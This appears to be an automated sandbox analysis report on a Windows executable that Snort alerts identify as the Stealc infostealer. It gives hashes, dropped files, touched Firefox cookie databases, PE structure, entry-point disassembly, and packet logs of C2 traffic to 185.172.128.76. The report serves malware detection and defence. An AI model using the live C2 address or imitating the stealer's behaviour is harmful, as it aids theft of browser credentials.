SSDEEP:	6144:yU3iKBTO7hQqRGoFyLmVmH6Q4vwRuGuoBhYkuFqeYAOfp+5ic6/:yU7UVGoFyLmVO6Q6wAGuoBh9Np+M/
MD5:	6C93FC68E2F01C20FB81AF24470B790C
SHA1:	D5927B38A32E30AFCF5A658612A8266476FC4AD8
SHA-256:	64A71B664D76641B35DAC312161CB356B3B3B5F0B45C9D88C8AFA547B4902580
SHA-512:	355E9677121EF17CF8C398F0C17399776D206C62014080A2C62682E1152EA0729DCC6E233358DCD6BAE009B07E3DB936D4B18EB37D6E7EBC2FE9CF8D827C4ADE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21% Antivirus: Virustotal, Detection: 38%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c...'i..'i..'i....[.7i....Y..i....X.8i...7..3i...7...i...7...i....9."i..'i..}i...7..%i...7U.&i..'i=.&i...7..&i..Rich'i..................PE..L....v)f..........................................@.......................................@.................................P...(.......@(................... ..l.......p........................... ...@............................................text...1........................... ..`.rdata..............................@..@.data...@ ..........................@....gfids..............................@..@.rsrc...@(.......*..................@..@.reloc..l.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	545792
Entropy (8bit):	6.384805269039956
Encrypted:	false
SSDEEP:	6144:yU3iKBTO7hQqRGoFyLmVmH6Q4vwRuGuoBhYkuFqeYAOfp+5ic6/:yU7UVGoFyLmVO6Q6wAGuoBh9Np+M/
MD5:	6C93FC68E2F01C20FB81AF24470B790C
SHA1:	D5927B38A32E30AFCF5A658612A8266476FC4AD8
SHA-256:	64A71B664D76641B35DAC312161CB356B3B3B5F0B45C9D88C8AFA547B4902580
SHA-512:	355E9677121EF17CF8C398F0C17399776D206C62014080A2C62682E1152EA0729DCC6E233358DCD6BAE009B07E3DB936D4B18EB37D6E7EBC2FE9CF8D827C4ADE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21% Antivirus: Virustotal, Detection: 38%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c...'i..'i..'i....[.7i....Y..i....X.8i...7..3i...7...i...7...i....9."i..'i..}i...7..%i...7U.&i..'i=.&i...7..&i..Rich'i..................PE..L....v)f..........................................@.......................................@.................................P...(.......@(................... ..l.......p........................... ...@............................................text...1........................... ..`.rdata..............................@..@.data...@ ..........................@....gfids..............................@..@.rsrc...@(.......*..................@..@.reloc..l.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46544319599303
Encrypted:	false
SSDEEP:	6144:bIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNodwBCswSbE:8XD94+WlLZMM6YFH6+E
MD5:	D40BC9822CE3A86CEDC3C173E4696C1E
SHA1:	8C042359933CE9A886FF9D1AE1F4E1C6C026EA16
SHA-256:	D2E7B56C7F50F8A2AA63989DC69AF963A14CE24F8283A6A944A2F23B958F19D0
SHA-512:	4B2A1E169487E80BF7AAFEB0B1F7EFA366FBFCD90FE4EA55AFEB88F9D0F95838BA94D7A1B7D9C5384594454F460DC4C89E270263452C049A4AC77005F7700AB8
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmb.E...................................................................................................................................................................................................................................................................................................................................................S=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.527813874896476
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	w3WOJ1ohgD.exe
File size:	281'600 bytes
MD5:	678d5e7b91062c3b4c1ea39343cda69a
SHA1:	d73be2edfa050ee9ac434b310af55210b64375cf
SHA256:	3d4faa1e7f7466857b35c91bda2637ea24783903e14a94ee43508118b56ed17c
SHA512:	c10a51fa3e8788c8a726af11573014307bf5e47db65ca769db51af9ef751aaf02cc38fec7bc6a8752d3736a4fc68795289df26bd1dd3c945951bec1d7945df8d
SSDEEP:	1536:wsoUgkep9hfc4Po/zkl1hGlGZWfVI2IuqaJYT7jAbOcNGh3H37FqzxAPNqZ36bGJ:ypXhGlRIu8T7jJqS30x04d48Xc5VYT
TLSH:	C854BE1276A1C832EF9A57754A24C6914A3BBCB16BB191CFB390376F6F732E0152D312
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............m...m...m.......m.......m.......m.......m...l...m.......m.......m.......m.Rich..m.........PE..L....5wd...................

File Icon


Icon Hash:	6727676783771667

Static PE Info

General

Entrypoint:	0x401770
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64773591 [Wed May 31 11:54:57 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	dbae00ef186abcf460fe21c920859d79

Entrypoint Preview

Instruction
call 00007F49D4DFB27Dh
jmp 00007F49D4DF5AEDh
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F49D4DF5C96h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F49D4DF5CC0h
test ecx, 00000003h
jne 00007F49D4DF5C61h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F49D4DF5C5Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F49D4DF5CA4h
test ah, ah
je 00007F49D4DF5C96h
test eax, 00FF0000h
je 00007F49D4DF5C85h
test eax, FF000000h
je 00007F49D4DF5C74h
jmp 00007F49D4DF5C3Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040E20Ch
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F49D4DF5C7Eh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x35eec	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x439000	0xcf58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc283	0xc400	03c54c003e0af458127017a8b09cb66c	False	0.6044124681122449	data	6.537493971390157	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x28818	0x28a00	56711ca47c0dd5db7a3b40e5f0fdf067	False	0.530078125	data	5.333498389677258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x37000	0x401a9c	0x2a00	8b76d72534d92cbca21e8a702f493033	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x439000	0xcf58	0xd000	f1f5eb5b5da23c5610fad1bc1024961b	False	0.3345289963942308	data	4.325744829510251	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x43ed00	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4276315789473684
RT_CURSOR	0x43ee48	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.7368421052631579
RT_CURSOR	0x43ef78	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.06130705394190871
RT_CURSOR	0x441548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.31023454157782515
RT_CURSOR	0x442408	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.7368421052631579
RT_CURSOR	0x442538	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.06130705394190871
RT_ICON	0x439580	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.42937100213219614
RT_ICON	0x43a428	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5672382671480144
RT_ICON	0x43acd0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6324884792626728
RT_ICON	0x43b398	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6791907514450867
RT_ICON	0x43b900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.5183609958506225
RT_ICON	0x43dea8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.5885245901639344
RT_ICON	0x43e830	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.6152482269503546
RT_STRING	0x444ce8	0xd2	data	Turkish	Turkey	0.5523809523809524
RT_STRING	0x444dc0	0x54e	data	Turkish	Turkey	0.44550810014727543
RT_STRING	0x445310	0xf8	data	Turkish	Turkey	0.5564516129032258
RT_STRING	0x445408	0x7dc	data	Turkish	Turkey	0.4150099403578529
RT_STRING	0x445be8	0x15c	data	Turkish	Turkey	0.5229885057471264
RT_STRING	0x445d48	0xdc	data	Turkish	Turkey	0.55
RT_STRING	0x445e28	0x12a	data	Turkish	Turkey	0.5167785234899329
RT_GROUP_CURSOR	0x43ee30	0x14	data			1.15
RT_GROUP_CURSOR	0x441520	0x22	data			1.088235294117647
RT_GROUP_CURSOR	0x4423f0	0x14	data			1.25
RT_GROUP_CURSOR	0x444ae0	0x22	data			1.088235294117647
RT_GROUP_ICON	0x43ec98	0x68	data	Turkish	Turkey	0.7115384615384616
RT_VERSION	0x444b08	0x1e0	data			0.5708333333333333

Imports

DLL	Import
KERNEL32.dll	EnumCalendarInfoW, GetCommState, GetModuleHandleW, GetProcessHeap, GetDateFormatA, GlobalAlloc, LoadLibraryW, HeapDestroy, IsBadWritePtr, GetModuleFileNameW, SetConsoleTitleA, GlobalUnfix, SetCurrentDirectoryA, GetProcAddress, SetFirmwareEnvironmentVariableW, GetConsoleAliasExesLengthA, LoadLibraryA, GetFileType, SetConsoleDisplayMode, WaitForMultipleObjects, FreeEnvironmentStringsW, BuildCommDCBA, VirtualProtect, GetCurrentDirectoryA, FindAtomW, FileTimeToLocalFileTime, SetFileAttributesW, GetVolumeInformationW, BuildCommDCBW, GetLocaleInfoA, CreateFileA, HeapAlloc, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetLastError, HeapFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualFree, VirtualAlloc, HeapReAlloc, HeapCreate, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, MultiByteToWideChar, HeapSize, GetConsoleCP, GetConsoleMode, FlushFileBuffers, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, ReadFile, SetFilePointer, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle
USER32.dll	GetProcessDefaultLayout
ADVAPI32.dll	ReadEventLogA
ole32.dll	CoTaskMemFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/25/24-14:42:01.952405	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49731	80	192.168.2.4	185.172.128.76
04/25/24-14:42:01.450782	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49731	80	192.168.2.4	185.172.128.76
04/25/24-14:42:02.274526	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49731	80	192.168.2.4	185.172.128.76
04/25/24-14:42:02.593795	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49731	185.172.128.76	192.168.2.4
04/25/24-14:42:02.273123	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49731	185.172.128.76	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 14:42:01.242676020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:01.450048923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:01.450371981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:01.450782061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:01.658123970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:01.950870991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:01.950967073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:01.952404976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.158617973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.273123026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.273165941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.273217916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.273255110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.274525881 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.480868101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.593795061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.593817949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.593836069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.593856096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.593873024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.593883038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.593920946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.593961954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.620381117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.620430946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:02.826704025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.826761961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.826795101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.826828003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.826860905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.826896906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.956023932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:02.956152916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.280184984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.486874104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.597769976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.597791910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.597804070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.597815037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.597871065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.597906113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.597929001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.597953081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.597980976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.597994089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.598007917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.598032951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.598046064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.598089933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.598104000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.598129988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.598145962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.804357052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.804418087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.804461956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.804503918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.804593086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.804632902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.804650068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.804685116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.804884911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.804938078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.804945946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.804986000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805015087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805022955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805035114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805063963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805073023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805104971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805116892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805143118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805164099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805180073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805188894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805218935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805243969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805254936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805262089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805293083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805304050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805330992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805347919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805368900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805387020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805408001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805421114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805444956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805464029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805483103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:03.805505037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:03.805542946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.010839939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.010895967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.010957003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.010960102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.010960102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.010996103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011018038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011035919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011038065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011075020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011080980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011113882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011131048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011152029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011154890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011194944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011710882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011750937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011765957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011789083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011792898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011826992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011830091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011866093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011869907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011912107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011917114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011950970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.011967897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.011987925 CEST	49731	80	192.168.2.4	185.172.128.76
